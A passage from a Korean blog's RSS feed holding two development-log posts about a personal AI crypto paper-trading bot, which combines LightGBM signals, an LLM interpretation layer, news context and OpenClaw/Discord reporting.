&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;:03&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;자동 리포트는 단순 해석 리포트였는데, 이번에는 이를 애널리스트 전망 리포트로 교체했다. 즉 현재 상태를 반복해서 설명하기보다, 앞으로 6시간과 24시간 관점에서 어떤 흐름을 예상하는지, 상방 시나리오와 하방 시나리오, 핵심 리스크와 관찰 포인트가 무엇인지 정리해주는 구조로 바꾼 것이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 되면서 상태 리포트는 &amp;ldquo;지금 계좌가 어떤 상태인가&amp;rdquo;를, 전망 리포트는 &amp;ldquo;앞으로 어떤 시나리오를 주의해야 하는가&amp;rdquo;를 담당하게 되어 역할 분리가 훨씬 명확해졌다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;벤치마크 비교 그래프 추가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-03-19 오후 10.40.18.png&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;1418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cU0Lzw/dJMcabXOZGL/f3G87lASZ0pSKtisSBjne0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cU0Lzw/dJMcabXOZGL/f3G87lASZ0pSKtisSBjne0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cU0Lzw/dJMcabXOZGL/f3G87lASZ0pSKtisSBjne0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcU0Lzw%2FdJMcabXOZGL%2Ff3G87lASZ0pSKtisSBjne0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;464&quot; height=&quot;484&quot; data-filename=&quot;스크린샷 2026-03-19 오후 10.40.18.png&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;1418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번에는 전략 성과를 숫자만이 아니라 그래프로도 바로 볼 수 있도록 벤치마크 비교 기능을 추가했다. 기준은 paper 계좌를 초기화한 시점으로 잡고, 그 시점에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;BTC&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;ETH&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;SOL&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;XRP&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;TRX&lt;/span&gt;를 각각 20%씩 단순 매수해 계속 보유했다고 가정한 뒤 현재 전략 수익률과 비교하도록 만들었다. 이렇게 하면 &amp;ldquo;이 전략이 그냥 들고 있는 것보다 실제로 나은가?&amp;rdquo;를 훨씬 직관적으로 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;구현은 상태 리포트 로그에 누적되는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;cumulative_return&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;benchmark_return_20pct_hold&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;excess_return_vs_benchmark&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;값을 읽어서 PNG 그래프로 만드는 방식으로 붙였다. 이제 전략 누적수익률, 단순 20% 균등보유 수익률, 그리고 초과수익률을 한 번에 시각적으로 볼 수 있고, 이후에는 이 이미지를 OpenClaw 보고서나 Discord 웹훅 전송 흐름과도 연결할 수 있는 기반이 생겼다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;README 문서화 정리&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XMvx3/dJMcagkvmw1/lRYfFvWU6PuPZWOXDl7k2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XMvx3/dJMcagkvmw1/lRYfFvWU6PuPZWOXDl7k2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XMvx3/dJMcagkvmw1/lRYfFvWU6PuPZWOXDl7k2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXMvx3%2FdJMcagkvmw1%2FlRYfFvWU6PuPZWOXDl7k2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;391&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드 수정만큼이나 중요했던 것이 문서 정리였다. README에 현재 운영 스케줄, 핵심 파일 역할, 상태 및 로그 구조, OpenClaw와 자동 운영 파이프라인의 역할 분리를 정리했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트가 점점 커질수록 &amp;ldquo;무엇이 어디서 실행되고 왜 존재하는지&amp;rdquo;를 잃기 쉬운데, 이번 문서화는 바로 그 혼란을 줄이기 위한 작업이었다. 나중에 다시 봤을 때도 README만 읽으면 전체 구조를 다시 이해할 수 있도록 만드는 데 초점을 맞췄다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;오늘 작업의 의미&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;전체적으로 오늘 작업은 새로운 모델을 추가했다기보다, 이미 존재하던 시스템을 실제 운영 가능한 형태로 다듬는 과정에 가까웠다. 멀티자산 실행, 종목별 리포트, 실시간 평가 반영, 뉴스 품질 관리, 벤치마크 비교, 애널리스트 전망 리포트, 운영 문서화까지 한 번에 정리하면서 프로젝트의 성격이 훨씬 더 &amp;ldquo;AI 기반 저빈도 펀드 시스템&amp;rdquo; 쪽으로 선명해진 느낌이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다음 단계에서는 하루 이상 로그를 쌓아보면서, 실제로 HOLD 비율이 어떻게 바뀌는지, 멀티코인 비중이 의도대로 들어가는지, 단순 보유 대비 성과가 개선되는지를 계속 점검해볼 생각이다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Plus&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.26.48.png&quot; data-origin-width=&quot;2708&quot; data-origin-height=&quot;1650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci84Qx/dJMcaadydTr/VDmVEtdagkhPfiIYTSMozk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci84Qx/dJMcaadydTr/VDmVEtdagkhPfiIYTSMozk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci84Qx/dJMcaadydTr/VDmVEtdagkhPfiIYTSMozk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci84Qx%2FdJMcaadydTr%2FVDmVEtdagkhPfiIYTSMozk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;396&quot; data-filename=&quot;스크린샷 2026-03-19 오후 7.26.48.png&quot; data-origin-width=&quot;2708&quot; data-origin-height=&quot;1650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;에이전트가 있는 서버에 미친놈을 초대하면 큰일납니다..&lt;/s&gt;&lt;/p&gt;</description>
      <category>프로젝트</category>
      <category>auto trading bot</category>
      <category>bitcoin</category>
      <category>Finance</category>
      <category>OpenClaw</category>
      <category>Project</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/30</guid>
      <comments>https://seowoo-j.tistory.com/30#entry30comment</comments>
      <pubDate>Thu, 19 Mar 2026 19:28:22 +0900</pubDate>
    </item>
    <item>
      <title>AI Trading Bot 개발기 &amp;mdash; Day 2</title>
      <link>https://seowoo-j.tistory.com/29</link>
      <description>&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;그냥 관으로 보내려다가 오픈크로 써보고 싶어서 다시한번 꺼냈읍니다....&lt;/s&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;DAY 2. AI 자동 코인 트레이딩, 신호 기반 매매에서 판단형 시스템으로 바꾸기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xP5dC/dJMcagktn2d/tfhipsmkFDzMTIYw64WsZ0/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xP5dC/dJMcagktn2d/tfhipsmkFDzMTIYw64WsZ0/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xP5dC/dJMcagktn2d/tfhipsmkFDzMTIYw64WsZ0/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxP5dC%2FdJMcagktn2d%2FtfhipsmkFDzMTIYw64WsZ0%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;305&quot; height=&quot;228&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;지난번에는 &lt;b&gt;기본적인 자동 코인 트레이딩 구조&lt;/b&gt;를 만드는 데 집중했다.&lt;br /&gt;OHLCV 데이터를 가져오고, 여러 기술적 지표를 기반으로 피처를 만들고, 이를 바탕으로 모델이 매수/매도 신호를 내도록 연결해봤다.&lt;br /&gt;하지만 직접 여러 번 돌려보면서, 단순히 신호를 잘 맞추는 것과 실제로 운용 가능한 트레이딩 시스템을 만드는 것은 다르다는 걸 체감하게 됐다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번 DAY 2에서는 그 차이를 줄이기 위해 구조를 꽤 많이 손봤다.&lt;br /&gt;특히 기존 adaptive percentile 방식에서 벗어나 LightGBM 중심의 분류 모델로 다시 정리했고, 여기에&lt;b&gt; LLM과 뉴스 데이터&lt;/b&gt;를 붙여 &amp;ldquo;&lt;b&gt;왜 지금 이 결정을 하는지&amp;rdquo;&lt;/b&gt;까지 설명 가능한 시스템으로 바꾸는 작업을 진행했다.&lt;br /&gt;추가로 &lt;b&gt;OpenClaw&lt;/b&gt;를 붙여 자동 실행과 운영 편의성도 함께 챙기기 시작했다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;1. Adaptive Percentile 방식은 일단 접고, LightGBM 중심으로 다시 정리&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;초기에는 예측 확률을 바로 쓰기보다, 시장 상황에 따라 bull/bear regime을 나누고 각 구간에서 percentile 기준으로 진입/청산 임계값을 잡는 &lt;b&gt;adaptive percentile&lt;/b&gt; 방식을 사용했었다.&lt;br /&gt;아이디어 자체는 나쁘지 않았다. 시장 상황에 따라 유연하게 기준을 바꾸면 더 현실적인 신호를 만들 수 있을 거라고 생각했기 때문이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 실제 결과를 보면 생각보다 단순하지 않았다.&lt;br /&gt;validation과 test 구간의 accuracy, F1, ROC AUC는 아주 나쁘지는 않았지만, 정작 백테스트 수익률과 샤프 비율은 계속 좋지 않았다.&lt;br /&gt;특히 거래 수가 많아지고, 전략이 자주 포지션을 바꾸면서 수수료와 턴오버가 성과를 계속 갉아먹는 문제가 반복됐다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 이번에는 이 &lt;b&gt;adaptive percentile&lt;/b&gt; 구조를 잠시 접고, 일단 &lt;b&gt;LightGBM&lt;/b&gt;이 보다 직접적으로 방향성을 분류하는 쪽으로 다시 정리했다.&lt;br /&gt;물론 단순히 &lt;b&gt;&amp;ldquo;LightGBM이 맞추면 바로 매매&amp;rdquo;&lt;/b&gt;하는 구조로 끝낸 것은 아니다.&lt;br /&gt;오히려 이번 작업에서는 LightGBM을 더 명확한 신호 생성기로 두고, 그 위에 추가 판단 레이어를 얹는 방향으로 바꿨다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 이번에 LightGBM을 다시 사용한 이유는 모델을 더 단순화하려는 목적이 아니라,&lt;br /&gt;&lt;b&gt;&amp;ldquo;시장 데이터에서 유의미한 확률 기반 신호를 뽑아내는 역할&amp;rdquo;&lt;/b&gt;을 다시 분명하게 만들기 위해서였다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;2. LLM을 붙여서 단순 신호가 아니라 &amp;lsquo;판단&amp;rsquo;이 되도록 만들기&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존 구조의 가장 큰 한계는 결과가 너무 기계적이라는 점이었다.&lt;br /&gt;예를 들어 모델이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;LONG&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;SHORT&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: oklab(0.159065 0.000007 0.000003 / 0.042);&quot;&gt;HOLD&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;중 하나를 내놓기는 하지만, 왜 그런 결정을 했는지 사람이 이해하기 어려웠다.&lt;br /&gt;특히 실제 운영을 생각하면, &amp;ldquo;지금 왜 진입하는지&amp;rdquo;, &amp;ldquo;왜 보유만 하는지&amp;rdquo;, &amp;ldquo;왜 숏 신호를 무시했는지&amp;rdquo;를 설명할 수 있어야 했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 이번에는 &lt;b&gt;LLM을 붙였다.&lt;/b&gt;&lt;br /&gt;다만 여기서 중요한 건,&lt;b&gt; LLM을 가격 예측기로 쓰지 않았다는 점&lt;/b&gt;이다.&lt;br /&gt;&lt;b&gt;LLM&lt;/b&gt;이 직접 시세를 예측하게 하는 대신, LightGBM이 만든 확률값과 시장 요약, 포트폴리오 상태를 보고 &lt;b&gt;그것을 해석하는 역할&lt;/b&gt;을 맡겼다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 구조를 단순히 말하면 이렇다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LightGBM이 시장 데이터를 바탕으로 상승/하락 가능성을 계산한다.&lt;/li&gt;
&lt;li&gt;시장 요약 정보와 포지션 상태를 함께 정리한다.&lt;/li&gt;
&lt;li&gt;LLM이 이 정보를 받아 최종적으로 어떤 행동이 적절한지 해석한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 하면서 단순한 &amp;ldquo;신호 생성기&amp;rdquo;에서 조금 더 &amp;ldquo;판단형 에이전트&amp;rdquo;에 가까운 구조가 만들어졌다.&lt;br /&gt;특히 HOLD가 나왔을 때도 이유를 로그에 남기도록 하면서,&lt;br /&gt;이제는 결과만 보는 게 아니라 그 결과가 나온 배경을 함께 볼 수 있게 됐다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3. 뉴스 정보를 넣어서 시장 외부 맥락도 함께 보도록 확장&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;시장 데이터만 가지고 판단하는 데에는 한계가 있다.&lt;br /&gt;가격과 거래량은 결국 결과이고, 뉴스나 매크로 이벤트는 그 결과를 만드는 원인일 때가 많다.&lt;br /&gt;그래서 이번 작업에서는 뉴스 정보를 별도의 외부 컨텍스트 레이어로 붙였다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아직 완전히 정교한 뉴스 분석 시스템은 아니지만,&lt;br /&gt;최소한 뉴스 헤드라인, 감성(sentiment), 이벤트 성격, 위험 메모 같은 정보를 &lt;b&gt;CSV&lt;/b&gt; 형태로 관리하고,&lt;br /&gt;이 데이터를&lt;b&gt; LLM 판단에 함께 넣을 수 있도록 구조&lt;/b&gt;를 만들었다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 단순히 차트상으로는 괜찮아 보여도,&lt;br /&gt;매크로 뉴스가 리스크 오프 분위기를 강하게 만들고 있다면 진입을 더 조심스럽게 볼 수 있다.&lt;br /&gt;반대로 기술적 신호는 애매하지만 시장 분위기가 강하게 우호적이라면 HOLD보다는 BUY 쪽 해석이 더 설득력 있을 수도 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;결국 이번에 뉴스 정보를 넣은 이유는 정확도를 높이겠다는 단순한 목적보다,&lt;br /&gt;시장을 바라보는 입력 자체를 조금 더 현실적으로 만들기 위해서였다.&lt;br /&gt;&lt;b&gt;&amp;ldquo;가격 데이터만 보는 모델&amp;rdquo;&lt;/b&gt;에서 &lt;b&gt;&amp;ldquo;시장 맥락까지 함께 보는 판단 시스템&amp;rdquo;&lt;/b&gt;으로 조금 더 다가간 셈이다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;4. OpenClaw를 붙여서 운영 채널과 자동화를 연결&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2736&quot; data-origin-height=&quot;1732&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GzYp6/dJMcacoRdNU/sX8qzsaoMAwA79K9mZKKYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GzYp6/dJMcacoRdNU/sX8qzsaoMAwA79K9mZKKYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GzYp6/dJMcacoRdNU/sX8qzsaoMAwA79K9mZKKYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGzYp6%2FdJMcacoRdNU%2FsX8qzsaoMAwA79K9mZKKYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2736&quot; height=&quot;1732&quot; data-origin-width=&quot;2736&quot; data-origin-height=&quot;1732&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번에 느낀 또 하나의 문제는, 모델이나 전략 자체보다 운영이 더 번거롭다는 점이었다.&lt;br /&gt;스크립트를 수동으로 실행하고, 로그를 보고, 결과를 확인하고, 다시 상태를 체크하는 과정이 반복되다 보니&lt;br /&gt;결국 시스템이 돌아가더라도 사람이 계속 붙어 있어야 했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서&lt;b&gt; OpenClaw&lt;/b&gt;를 붙였다.&lt;br /&gt;Discord 채널과 연결해서, 내가 원하는 채널 안에서 실행 결과를 보고받고,&lt;br /&gt;필요한 자동화 작업을 운영 채널 기준으로 관리할 수 있도록 바꾸기 시작했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 과정에서 단순 실행 결과뿐 아니라 다음과 같은 정보도 함께 정리되도록 만들었다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;현재 실행 성공 여부&lt;/li&gt;
&lt;li&gt;최신 자산 가치와 손익 상태&lt;/li&gt;
&lt;li&gt;현재 포지션 보유 여부&lt;/li&gt;
&lt;li&gt;마지막 판단 결과와 그 이유&lt;/li&gt;
&lt;li&gt;뉴스 및 모델 확률 기반 판단 근거&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 이번에 OpenClaw를 도입한 목적은 새로운 전략을 만든다기보다,&lt;br /&gt;이미 만든 전략을 &lt;b&gt;&amp;ldquo;운영 가능한 형태&lt;/b&gt;&amp;rdquo;로 바꾸는 데 있었다.&lt;br /&gt;자동매매 시스템은 모델 성능만 중요한 게 아니라,&lt;br /&gt;그 시스템이 실제로 어떻게 실행되고 있고 지금 무슨 상태인지 사람이 빠르게 파악할 수 있어야 하기 때문이다.&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;마무리&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이번 DAY 2에서 가장 크게 달라진 점은,&lt;br /&gt;트레이딩 시스템을 &lt;b&gt;단순 예측 모델&lt;/b&gt;에서 하나의 &lt;b&gt;판단 프로세스&lt;/b&gt;로 바꾸기 시작했다는 점이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;adaptive percentile 방식은 일단 뒤로 미루고, LightGBM 기반 신호 생성 구조를 다시 정리했다.&lt;br /&gt;그 위에 &lt;b&gt;LLM&lt;/b&gt;을 붙여&lt;b&gt; 이유를 설명&lt;/b&gt;할 수 있게 만들었고,&lt;br /&gt;&lt;b&gt;뉴스 데이터&lt;/b&gt;를 넣어 &lt;b&gt;시장 외부 맥락&lt;/b&gt;도 함께 보게 했다.&lt;br /&gt;그리고 &lt;b&gt;OpenClaw&lt;/b&gt;를 붙이면서 실제 운영 채널 안에서 이&lt;b&gt; 시스템을 다루는 방향&lt;/b&gt;까지 연결했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아직 완성된 구조는 아니다.&lt;br /&gt;앞으로는 뉴스 품질 개선, 리포트 고도화, LLM 판단의 안정화, 진입 빈도 조절 같은 부분을 더 다듬어야 한다.&lt;br /&gt;그래도 최소한 이번 작업을 통해,&lt;br /&gt;&lt;b&gt;&amp;ldquo;모델이 맞추는 시스템&amp;rdquo;&lt;/b&gt;에서 &lt;b&gt;&amp;ldquo;판단하고 운영할 수 있는 시스템&amp;rdquo;&lt;/b&gt;으로 한 단계 나아간 건 확실한 것 같다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;OpenClaw 다루는건 좀 재밌긴 했는데 투자 성능은 아직 좋지 못하다...&lt;/s&gt;&lt;/p&gt;</description>
      <category>프로젝트</category>
      <category>auto trading bot</category>
      <category>bitcoin</category>
      <category>Finance</category>
      <category>OpenClaw</category>
      <category>Project</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/29</guid>
      <comments>https://seowoo-j.tistory.com/29#entry29comment</comments>
      <pubDate>Wed, 18 Mar 2026 00:11:54 +0900</pubDate>
    </item>
    <item>
      <title>KISA 아카데미 정보보호제품군 실습훈련 - 기초1 수료 후기</title>
      <link>https://seowoo-j.tistory.com/28</link>
